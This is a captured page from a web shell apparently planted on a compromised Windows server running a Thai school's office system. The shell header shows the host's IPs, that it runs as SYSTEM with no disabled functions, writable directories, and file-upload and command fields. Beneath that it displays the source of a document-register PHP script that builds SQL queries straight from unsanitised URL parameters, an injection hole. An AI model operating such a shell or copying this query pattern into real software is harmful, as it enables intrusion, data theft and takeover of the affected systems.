403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myoffice/2564_old/modules/report/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myoffice/2564_old/modules/report/norub.php
<TABLE cellSpacing=0 cellPadding=0 width=1005 height="500"border=0>
      <TBODY>
        <TR>
          <TD width="100%" vAlign=top>  <center><b> ตรวจสอบทะเบียนรับ</b></center>
				<TABLE width="100%" align=center cellSpacing=0 cellPadding=0 border=0>
				<form action="?name=admin&file=tkk2&op=tkk2_del&action=multidel" name="myform" method="post">
				<table width="100%" cellspacing="2" cellpadding="1" >
					<tr bgcolor="#336633" height=25>
						<td  align=center width="10"><font color="#FFFFFF"><B>ที่</B></font></td>
						<td  align=center width="120"><font color="#FFFFFF"><B>ที่ ศธ</B></font></td>
						<td  width="290" align=center ><font color="#FFFFFF"><B>เรื่อง</B></font></td>
						<td  width="150"  align=center ><font color="#FFFFFF"><B>ว/ด/ป ที่ส่ง</B></font></td>
						<td width="150" align=center ><font color="#FFFFFF"><B>จาก</B></font></td>
						<td width="150" align=center ><font color="#FFFFFF"><B>ถึง</B></font></td>
						<td  align=center width="130"><font color="#FFFFFF"><B>สถานะ</B></font></td>
				</tr>  
 <?
//แสดงบทความ
if($_GET[category]){
	$SQLwhere = " category='".$_GET[category]."' ";
	$SQLwhere2 = " WHERE category='".$_GET[category]."' ";
}
	$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$limit = 20 ;
$SUMPAGE = $db->num_rows(TB_TKK2,"id","category");
$page=$_GET[page];
if (empty($page)){
	$page=1;
}
$rt = $SUMPAGE%$limit ;
$totalpage = ($rt!=0) ? floor($SUMPAGE/$limit)+1 : floor($SUMPAGE/$limit); 
$goto = ($page-1)*$limit ;
$res[tkk2] = $db->select_query("SELECT * FROM ".TB_TKK2." $SQLwhere2 ORDER BY post_date DESC LIMIT $goto, $limit   ");
while($arr[tkk2] = $db->fetch($res[tkk2]))
	{

	$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE id='".$arr[tkk2][category]."'  ");
	$arr[user] = $db->fetch($res[user]);


 if ($i%2==0) 
{
	?><tr bgcolor="#FFFFC6" class="unnamed1"><?
} else {
	?><tr bgcolor="#E6FEDE" class="unnamed2"><?
} ?>

     <td valign="top"align="center" ><?echo $arr[tkk2][id];?></td> 
	 <td valign="top"align="left" >
  <?echo $arr[tkk2][tabain];?>
     </td> 
     <td valign="top"><A HREF="popup.php?name=tkk2&file=readtkk2&id=<?echo $arr[tkk2][id];?> " onclick="return hs.htmlExpand(this, { contentId: 'highslide-html', objectType: 'iframe', objectWidth: 500, objectHeight: 600} )" class="highslide"><?echo $arr[tkk2][topic];?></A><?=$CommentIcon;?><?=NewsIcon(TIMESTAMP, $arr[tkk2][post_date], "images/icon_new.gif");?>
	 </td>
	  <td valign="top"align="center" ><?echo ThaiTimeConvert($arr[tkk2][post_date],'','');?></td> 
	  <td valign="top"><CENTER><?echo $arr[tkk2][school];?></CENTER></td>
     <td valign="top"><CENTER><? echo $arr[tkk2][group_ska];?><br></CENTER></td>
	<td valign="top" align="center"  >
<?
					 if(($arr[user][working]==6)or($arr[user][level]==6)){ 	  
?>
	<A HREF="javascript:NewWindow('popup2.php?name=tkk2&file=readsang&op=tkk2_edit&id=<? echo $arr[tkk2][id];?>','acepopup','800','600','center','front');"><font color="blue">ดูรายละเอียด</FONT></A>	<BR>
 <? }?>
  <? echo $arr[user][category_name];?>
	 </td>
</tr>
<?
	$i++;

?>
	<?
$count++;
if (($count%1) == 0) { echo ""; $count=0; }
}
$db->closedb ();
//จบการแสดงข่าวสาร
?>
</table>
	</TR>
	</TD>
</TABLE> 
</form>	
				<BR>
<table border="0" cellpadding="0" cellspacing="1" width="100%" align=center>
		<tr>
			<td>
				<?
				SplitPage($page,$totalpage,"?name=tkk2&file=norub&op=tkk2_read&category=".$_GET[category]."");
				echo $ShowSumPages ;
				echo "<BR>";
				echo $ShowPages ;
				?> 				
				<BR>
				<BR>
		  </TD>
        </TR>
      </TBODY>
    </TABLE>

Youez - 2016 - github.com/yon3zu
LinuXploit